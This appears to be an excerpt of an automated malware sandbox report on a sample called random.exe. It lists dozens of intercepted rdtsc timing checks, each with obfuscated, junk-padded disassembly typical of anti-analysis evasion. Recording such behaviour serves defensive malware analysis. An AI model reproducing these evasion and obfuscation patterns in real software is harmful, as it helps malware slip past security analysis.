Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F29FF second address: 4F2A2D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8A48DE77CBh 0x0000000b jmp 00007F8A48DE77D7h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F2A2D second address: 4F2A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F8A48B4BD66h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push edi 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F2A40 second address: 4F2A46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F2A46 second address: 4F2A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F2BB5 second address: 4F2BED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77CBh 0x00000007 js 00007F8A48DE77C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 je 00007F8A48DE77C6h 0x00000016 push eax 0x00000017 pop eax 0x00000018 popad 0x00000019 ja 00007F8A48DE77CCh 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F8A48DE77CAh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F2EF4 second address: 4F2F0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48B4BD72h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F2F0F second address: 4F2F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F2F14 second address: 4F2F24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F8A48B4BD66h 0x0000000a jne 00007F8A48B4BD66h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F31AF second address: 4F31B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F332A second address: 4F3330 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F3330 second address: 4F334C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F8A48DE77D4h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F334C second address: 4F3356 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8A48B4BD66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F35C0 second address: 4F35EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F8A48DE77C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F8A48DE77D9h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F35EF second address: 4F35F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F35F3 second address: 4F35F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4B94D4 second address: 4B94EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48B4BD72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4B94EA second address: 4B9500 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 ja 00007F8A48DE77C6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F8A48DE77C6h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F3882 second address: 4F3886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F3886 second address: 4F388C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F388C second address: 4F3899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push ebx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F3E95 second address: 4F3E9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8A48DE77C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F3E9F second address: 4F3EBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48B4BD78h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F3EBF second address: 4F3EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F3EC5 second address: 4F3EC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F3EC9 second address: 4F3EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F8A48DE77CEh 0x0000000e jns 00007F8A48DE77C6h 0x00000014 jmp 00007F8A48DE77D0h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push esi 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F3EFB second address: 4F3EFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F45CB second address: 4F45CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F45CF second address: 4F45D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F45D5 second address: 4F45DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F45DB second address: 4F460A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8A48B4BD83h 0x00000008 jmp 00007F8A48B4BD72h 0x0000000d jmp 00007F8A48B4BD6Bh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 ja 00007F8A48B4BD66h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F460A second address: 4F4610 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F6C70 second address: 4F6C85 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8A48B4BD66h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jng 00007F8A48B4BD66h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4FBBF6 second address: 4FBBFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4CA3BD second address: 4CA3C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5018BC second address: 5018C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5018C3 second address: 5018D3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8A48B4BD6Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 500DBF second address: 500DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F8A48DE77C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5011CA second address: 5011CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 502C8D second address: 502C94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 502DA1 second address: 502DAB instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8A48B4BD66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 502DAB second address: 502DC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A48DE77D6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 502DC5 second address: 502DF4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8A48B4BD66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jnl 00007F8A48B4BD74h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 jng 00007F8A48B4BD85h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 502DF4 second address: 502DF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 502DF8 second address: 502E28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48B4BD73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007F8A48B4BD6Eh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 502E28 second address: 502E3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 503361 second address: 503365 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 503365 second address: 503386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8A48DE77D8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 503DD8 second address: 503DDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 503DDF second address: 503E86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F8A48DE77C6h 0x00000009 jmp 00007F8A48DE77CFh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F8A48DE77C8h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e jmp 00007F8A48DE77D0h 0x00000033 call 00007F8A48DE77D6h 0x00000038 call 00007F8A48DE77D9h 0x0000003d mov di, ax 0x00000040 pop edi 0x00000041 pop edi 0x00000042 xchg eax, ebx 0x00000043 jns 00007F8A48DE77D8h 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e push edx 0x0000004f pop edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 503E86 second address: 503E90 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8A48B4BD66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 504401 second address: 50440B instructions: 0x00000000 rdtsc 0x00000002 js 00007F8A48DE77C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50440B second address: 504412 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 504CD3 second address: 504CD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50694E second address: 506958 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8A48B4BD66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 506958 second address: 50695E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 507608 second address: 50760D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50695E second address: 506962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 508C54 second address: 508C7F instructions: 0x00000000 rdtsc 0x00000002 js 00007F8A48B4BD66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F8A48B4BD75h 0x00000014 js 00007F8A48B4BD66h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 507F16 second address: 507F1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 508C7F second address: 508CD3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8A48B4BD68h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov edi, dword ptr [ebp+122D1BD8h] 0x00000011 push 00000000h 0x00000013 jmp 00007F8A48B4BD6Ch 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007F8A48B4BD68h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 mov esi, dword ptr [ebp+122D2628h] 0x0000003a xchg eax, ebx 0x0000003b push eax 0x0000003c push edx 0x0000003d push edi 0x0000003e pushad 0x0000003f popad 0x00000040 pop edi 0x00000041 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 507F1C second address: 507F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50977C second address: 509780 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 509485 second address: 509489 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 509EE8 second address: 509EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 509489 second address: 50948F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 509EEC second address: 509EFA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F8A48B4BD66h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50DB10 second address: 50DB17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50F8F2 second address: 50F947 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8A48B4BD66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 mov ebx, dword ptr [ebp+122D1CDDh] 0x00000016 push 00000000h 0x00000018 jmp 00007F8A48B4BD73h 0x0000001d xchg eax, esi 0x0000001e jns 00007F8A48B4BD7Eh 0x00000024 push eax 0x00000025 je 00007F8A48B4BD7Ch 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50F947 second address: 50F94B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 51091F second address: 510923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50FB7C second address: 50FB86 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8A48DE77C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 510923 second address: 510931 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F8A48B4BD6Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5109B2 second address: 5109B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 511969 second address: 51196D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 510B4A second address: 510B4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 510B4E second address: 510BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 call 00007F8A48B4BD6Eh 0x0000000d mov edi, dword ptr [ebp+122D1BE0h] 0x00000013 pop edi 0x00000014 mov dword ptr [ebp+122D24AEh], edi 0x0000001a push dword ptr fs:[00000000h] 0x00000021 mov dword ptr [ebp+122D243Fh], eax 0x00000027 mov dword ptr fs:[00000000h], esp 0x0000002e mov ebx, dword ptr [ebp+122D240Dh] 0x00000034 sub di, 8E51h 0x00000039 mov eax, dword ptr [ebp+122D018Dh] 0x0000003f movzx ebx, ax 0x00000042 xor dword ptr [ebp+122D1816h], edx 0x00000048 push FFFFFFFFh 0x0000004a push 00000000h 0x0000004c push ebp 0x0000004d call 00007F8A48B4BD68h 0x00000052 pop ebp 0x00000053 mov dword ptr [esp+04h], ebp 0x00000057 add dword ptr [esp+04h], 00000018h 0x0000005f inc ebp 0x00000060 push ebp 0x00000061 ret 0x00000062 pop ebp 0x00000063 ret 0x00000064 and ebx, dword ptr [ebp+122D2950h] 0x0000006a mov edi, ebx 0x0000006c nop 0x0000006d pushad 0x0000006e jnl 00007F8A48B4BD6Ch 0x00000074 jne 00007F8A48B4BD68h 0x0000007a push edx 0x0000007b pop edx 0x0000007c popad 0x0000007d push eax 0x0000007e pushad 0x0000007f push eax 0x00000080 push edx 0x00000081 pushad 0x00000082 popad 0x00000083 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 510BE6 second address: 510BF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 512921 second address: 51292E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 51292E second address: 512938 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8A48DE77C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 512938 second address: 5129B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F8A48B4BD68h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 or di, E400h 0x0000002a push 00000000h 0x0000002c sub dword ptr [ebp+122D1D8Ah], ebx 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007F8A48B4BD68h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 0000001Ah 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e jnp 00007F8A48B4BD6Eh 0x00000054 push esi 0x00000055 sub dword ptr [ebp+122D23E4h], edx 0x0000005b pop edi 0x0000005c push eax 0x0000005d pushad 0x0000005e push edi 0x0000005f push esi 0x00000060 pop esi 0x00000061 pop edi 0x00000062 push eax 0x00000063 push edx 0x00000064 jno 00007F8A48B4BD66h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 513A8B second address: 513A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 js 00007F8A48DE77D4h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 516ADC second address: 516AE6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8A48B4BD66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5180C6 second address: 518134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8A48DE77C6h 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F8A48DE77C8h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push ebx 0x0000002b call 00007F8A48DE77C8h 0x00000030 pop ebx 0x00000031 mov dword ptr [esp+04h], ebx 0x00000035 add dword ptr [esp+04h], 00000014h 0x0000003d inc ebx 0x0000003e push ebx 0x0000003f ret 0x00000040 pop ebx 0x00000041 ret 0x00000042 call 00007F8A48DE77CAh 0x00000047 xor ebx, dword ptr [ebp+122D2884h] 0x0000004d pop ebx 0x0000004e add dword ptr [ebp+122D1C10h], eax 0x00000054 push 00000000h 0x00000056 mov bl, dl 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 518134 second address: 51813A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 518265 second address: 518284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8A48DE77D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5192FF second address: 519303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
